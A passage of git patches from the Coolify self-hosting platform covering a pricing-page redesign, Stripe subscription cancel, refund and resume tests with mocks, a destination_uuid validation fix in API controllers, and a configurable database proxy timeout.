+ {{-- Plan Header + Pricing --}} +

Pay-as-you-go

+

Dynamic pricing based on the number of servers you connect.

+ +
+ + $5 + / mo base + + + $4 + / mo base +
-
-
-
-

Pay-as-you-go

-

- Dynamic pricing based on the number of servers you connect. -

-

- - $5 - base price - +

+ + + $3 per additional server, billed monthly (+VAT) + + + + $2.7 per additional server, billed annually (+VAT) + +

- - $4 - base price - -

-

- - $3 - per additional servers billed monthly (+VAT) - + {{-- Subscribe Button --}} +

+ + Subscribe + + + Subscribe + +
- - $2.7 - per additional servers billed annually (+VAT) - -

-
- - - - + {{-- Features --}} +
+
    +
  • + + Connect unlimited servers +
  • +
  • + + Deploy unlimited applications per server +
  • +
  • + + Free email notifications +
  • +
  • + + Support by email +
  • +
  • + + + + + + All Upcoming Features +
  • +
+
-
-
- You need to bring your own servers from any cloud provider (such as Hetzner, DigitalOcean, AWS, - etc.) -
-
- (You can connect your RPi, old laptop, or any other device that runs - the supported operating systems.) -
-
-
-
- - Subscribe - - - Subscribe - -
-
    -
  • - - Connect - unlimited servers -
  • -
  • - - Deploy - unlimited applications per server -
  • -
  • - - Free email notifications -
  • -
  • - - Support by email -
  • -
  • - - - - - - - + All Upcoming Features -
  • -
  • - - - - - - - Do you require official support for your self-hosted instance?Contact Us -
  • -
-
-
+ {{-- BYOS Notice + Support --}} +
+

You need to bring your own servers from any cloud provider (Hetzner, DigitalOcean, AWS, etc.) or connect any device running a supported OS.

+

Need official support for your self-hosted instance? Contact Us

diff --git a/resources/views/livewire/subscription/show.blade.php b/resources/views/livewire/subscription/show.blade.php index 2fb4b1191..955beb33f 100644 --- a/resources/views/livewire/subscription/show.blade.php +++ b/resources/views/livewire/subscription/show.blade.php @@ -3,6 +3,6 @@ Subscription | Coolify

Subscription

-
Here you can see and manage your subscription.
+
Manage your plan, billing, and server limits.
diff --git a/tests/Feature/Subscription/CancelSubscriptionActionsTest.php b/tests/Feature/Subscription/CancelSubscriptionActionsTest.php new file mode 100644 index 000000000..0c8742d06 --- /dev/null +++ b/tests/Feature/Subscription/CancelSubscriptionActionsTest.php @@ -0,0 +1,96 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_456', + 'stripe_customer_id' => 'cus_test_456', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_456', + 'stripe_cancel_at_period_end' => false, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockStripe->subscriptions = $this->mockSubscriptions; +}); + +describe('CancelSubscriptionAtPeriodEnd', function () { + test('cancels subscription at period end successfully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_456', ['cancel_at_period_end' => true]) + ->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => true]); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_cancel_at_period_end)->toBeTruthy(); + expect($this->subscription->stripe_invoice_paid)->toBeTruthy(); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No active subscription'); + }); + + test('fails when subscription is not active', function () { + $this->subscription->update(['stripe_invoice_paid' => false]); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('not active'); + }); + + test('fails when already set to cancel at period end', function () { + $this->subscription->update(['stripe_cancel_at_period_end' => true]); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('already set to cancel'); + }); + + test('handles stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Stripe error'); + }); +}); diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php new file mode 100644 index 000000000..b6c2d4064 --- /dev/null +++ b/tests/Feature/Subscription/RefundSubscriptionTest.php @@ -0,0 +1,271 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_123', + 'stripe_customer_id' => 'cus_test_123', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_123', + 'stripe_cancel_at_period_end' => false, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockInvoices = Mockery::mock(InvoiceService::class); + $this->mockRefunds = Mockery::mock(RefundService::class); + + $this->mockStripe->subscriptions = $this->mockSubscriptions; + $this->mockStripe->invoices = $this->mockInvoices; + $this->mockStripe->refunds = $this->mockRefunds; +}); + +describe('checkEligibility', function () { + test('returns eligible when subscription is within 30 days', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeTrue(); + expect($result['days_remaining'])->toBe(20); + }); + + test('returns ineligible when subscription is past 30 days', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(35)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['days_remaining'])->toBe(0); + expect($result['reason'])->toContain('30-day refund window has expired'); + }); + + test('returns ineligible when subscription is not active', function () { + $stripeSubscription = (object) [ + 'status' => 'canceled', + 'start_date' => now()->subDays(5)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + }); + + test('returns ineligible when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('No active subscription'); + }); + + test('returns ineligible when invoice is not paid', function () { + $this->subscription->update(['stripe_invoice_paid' => false]); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('not paid'); + }); + + test('returns ineligible when team has already been refunded', function () { + $this->subscription->update(['stripe_refunded_at' => now()->subDays(60)]); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('already been processed'); + }); + + test('returns ineligible when stripe subscription not found', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andThrow(new \Stripe\Exception\InvalidRequestException('No such subscription')); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('not found in Stripe'); + }); +}); + +describe('execute', function () { + test('processes refund successfully', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => [ + (object) ['payment_intent' => 'pi_test_123'], + ]]; + + $this->mockInvoices + ->shouldReceive('all') + ->with([ + 'subscription' => 'sub_test_123', + 'status' => 'paid', + 'limit' => 1, + ]) + ->andReturn($invoiceCollection); + + $this->mockRefunds + ->shouldReceive('create') + ->with(['payment_intent' => 'pi_test_123']) + ->andReturn((object) ['id' => 're_test_123']); + + $this->mockSubscriptions + ->shouldReceive('cancel') + ->with('sub_test_123') + ->andReturn((object) ['status' => 'canceled']); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_feedback)->toBe('Refund requested by user'); + expect($this->subscription->stripe_refunded_at)->not->toBeNull(); + }); + + test('prevents a second refund after re-subscribing', function () { + $this->subscription->update([ + 'stripe_refunded_at' => now()->subDays(15), + 'stripe_invoice_paid' => true, + 'stripe_subscription_id' => 'sub_test_new_456', + ]); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('already been processed'); + }); + + test('fails when no paid invoice found', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => []]; + + $this->mockInvoices + ->shouldReceive('all') + ->andReturn($invoiceCollection); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No paid invoice'); + }); + + test('fails when invoice has no payment intent', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => [ + (object) ['payment_intent' => null], + ]]; + + $this->mockInvoices + ->shouldReceive('all') + ->andReturn($invoiceCollection); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No payment intent'); + }); + + test('fails when subscription is past refund window', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(35)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('30-day refund window'); + }); +}); diff --git a/tests/Feature/Subscription/ResumeSubscriptionTest.php b/tests/Feature/Subscription/ResumeSubscriptionTest.php new file mode 100644 index 000000000..8632a4c07 --- /dev/null +++ b/tests/Feature/Subscription/ResumeSubscriptionTest.php @@ -0,0 +1,85 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_789', + 'stripe_customer_id' => 'cus_test_789', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_789', + 'stripe_cancel_at_period_end' => true, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockStripe->subscriptions = $this->mockSubscriptions; +}); + +describe('ResumeSubscription', function () { + test('resumes subscription successfully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_789', ['cancel_at_period_end' => false]) + ->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => false]); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_cancel_at_period_end)->toBeFalsy(); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No active subscription'); + }); + + test('fails when subscription is not set to cancel', function () { + $this->subscription->update(['stripe_cancel_at_period_end' => false]); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('not set to cancel'); + }); + + test('handles stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Stripe error'); + }); +}); From bf6b3b8c7127cac2e62f78f2b8fdb8c12463fe87 Mon Sep 17 00:00:00 2001 From: W8jonas Date: Thu, 26 Feb 2026 23:15:04 -0300 Subject: [PATCH 103/305] Fix wrong destination issue on create_application --- app/Http/Controllers/Api/ApplicationsController.php | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 1e045ff5a..ac4aacd10 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -1095,6 +1095,17 @@ private function create_application(Request $request, $type) return response()->json(['message' => 'Server has multiple destinations and you do not set destination_uuid.'], 400); } $destination = $destinations->first(); + if ($destinations->count() > 1 && $request->has('destination_uuid')) { + $destination = $destinations->where('uuid', $request->destination_uuid)->first(); + if (! $destination) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'destination_uuid' => 'Provided destination_uuid does not belong to the specified server.', + ], + ], 422); + } + } if ($type === 'public') { $validationRules = [ 'git_repository' => ['string', 'required', new ValidGitRepositoryUrl], From 7c5a6bc96c51ff40c180cc34a429fa04781ad4ef Mon Sep 17 00:00:00 2001 From: W8jonas Date: Thu, 26 Feb 2026 23:15:18 -0300 Subject: [PATCH 104/305] Fix wrong destination issue on create_service --- .../Controllers/Api/ServicesController.php | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 27fdb1ba8..d3ebfba43 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -377,6 +377,17 @@ public function create_service(Request $request) return response()->json(['message' => 'Server has multiple destinations and you do not set destination_uuid.'], 400); } $destination = $destinations->first(); + if ($destinations->count() > 1 && $request->has('destination_uuid')) { + $destination = $destinations->where('uuid', $request->destination_uuid)->first(); + if (! $destination) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'destination_uuid' => 'Provided destination_uuid does not belong to the specified server.', + ], + ], 422); + } + } $services = get_service_templates(); $serviceKeys = $services->keys(); if ($serviceKeys->contains($request->type)) { @@ -543,6 +554,17 @@ public function create_service(Request $request) return response()->json(['message' => 'Server has multiple destinations and you do not set destination_uuid.'], 400); } $destination = $destinations->first(); + if ($destinations->count() > 1 && $request->has('destination_uuid')) { + $destination = $destinations->where('uuid', $request->destination_uuid)->first(); + if (! $destination) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'destination_uuid' => 'Provided destination_uuid does not belong to the specified server.', + ], + ], 422); + } + } if (! isBase64Encoded($request->docker_compose_raw)) { return response()->json([ 'message' => 'Validation failed.', From 30c1d9bbd04e6af82421c91cae0f8947163a135a Mon Sep 17 00:00:00 2001 From: "Brendan G. Lim" <1788+brendanlim@users.noreply.github.com> Date: Thu, 26 Feb 2026 21:07:09 -0800 Subject: [PATCH 105/305] feat: add configurable timeout for public database TCP proxy Adds a per-database 'Proxy Timeout' setting for publicly exposed databases. The nginx stream proxy_timeout can now be configured in the UI, defaulting to 3600s (1 hour) instead of nginx's 10min default. Set to 0 for no timeout. Fixes #7743 --- app/Actions/Database/StartDatabaseProxy.php | 4 ++ .../Project/Database/Clickhouse/General.php | 6 ++ .../Project/Database/Dragonfly/General.php | 6 ++ .../Project/Database/Keydb/General.php | 6 ++ .../Project/Database/Mariadb/General.php | 7 +++ .../Project/Database/Mongodb/General.php | 7 +++ .../Project/Database/Mysql/General.php | 7 +++ .../Project/Database/Postgresql/General.php | 7 +++ .../Project/Database/Redis/General.php | 7 +++ app/Livewire/Project/Service/Index.php | 5 ++ app/Models/ServiceDatabase.php | 4 ++ app/Models/StandaloneClickhouse.php | 1 + app/Models/StandaloneDragonfly.php | 1 + app/Models/StandaloneKeydb.php | 1 + app/Models/StandaloneMariadb.php | 1 + app/Models/StandaloneMongodb.php | 1 + app/Models/StandaloneMysql.php | 1 + app/Models/StandalonePostgresql.php | 1 + app/Models/StandaloneRedis.php | 1 + ...0_add_public_port_timeout_to_databases.php | 60 +++++++++++++++++++ .../database/clickhouse/general.blade.php | 2 + .../database/dragonfly/general.blade.php | 2 + .../project/database/keydb/general.blade.php | 2 + .../database/mariadb/general.blade.php | 2 + .../database/mongodb/general.blade.php | 2 + .../project/database/mysql/general.blade.php | 2 + .../database/postgresql/general.blade.php | 2 + .../project/database/redis/general.blade.php | 2 + 28 files changed, 150 insertions(+) create mode 100644 database/migrations/2026_02_27_000000_add_public_port_timeout_to_databases.php diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index 4331c6ae7..c7713a965 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -54,6 +54,8 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St if (isDev()) { $configuration_dir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/databases/'.$database->uuid.'/proxy'; } + $timeout = $database->public_port_timeout ?? 3600; + $timeoutConfig = $timeout === 0 ? 'proxy_timeout 0;' : "proxy_timeout {$timeout}s;"; $nginxconf = <<public_port; proxy_pass $containerName:$internalPort; + $timeoutConfig + proxy_connect_timeout 60s; } } EOF; diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index 7ad453fd5..ee2ae7bd4 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -36,6 +36,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public ?string $customDockerRunOptions = null; public ?string $dbUrl = null; @@ -80,6 +82,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -99,6 +102,7 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', ] ); } @@ -115,6 +119,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); @@ -130,6 +135,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->dbUrl = $this->database->internal_db_url; diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 4e325b9ee..6d1b5f74f 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -36,6 +36,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public ?string $customDockerRunOptions = null; public ?string $dbUrl = null; @@ -91,6 +93,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -109,6 +112,7 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', ] ); } @@ -124,6 +128,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; @@ -139,6 +144,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->enable_ssl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index f02aa6674..19726e413 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -38,6 +38,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public ?string $customDockerRunOptions = null; public ?string $dbUrl = null; @@ -94,6 +96,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -114,6 +117,7 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', ] ); } @@ -130,6 +134,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; @@ -146,6 +151,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->enable_ssl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 74658e2a4..cb7b99a83 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -44,6 +44,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -79,6 +81,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -97,6 +100,7 @@ protected function messages(): array 'mariadbDatabase.required' => 'The MariaDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', ] ); } @@ -113,6 +117,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Options', 'enableSsl' => 'Enable SSL', ]; @@ -154,6 +159,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -173,6 +179,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 9f34b73d5..8c7eea1b3 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -42,6 +42,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -78,6 +80,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -96,6 +99,7 @@ protected function messages(): array 'mongoInitdbDatabase.required' => 'The MongoDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-full.', ] ); @@ -112,6 +116,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', 'enableSsl' => 'Enable SSL', 'sslMode' => 'SSL Mode', @@ -153,6 +158,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -172,6 +178,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 86b109251..371ab7f68 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -44,6 +44,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -81,6 +83,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -100,6 +103,7 @@ protected function messages(): array 'mysqlDatabase.required' => 'The MySQL Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'sslMode.in' => 'The SSL Mode must be one of: PREFERRED, REQUIRED, VERIFY_CA, VERIFY_IDENTITY.', ] ); @@ -117,6 +121,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', 'enableSsl' => 'Enable SSL', 'sslMode' => 'SSL Mode', @@ -159,6 +164,7 @@ public function syncData(bool $toModel = false) 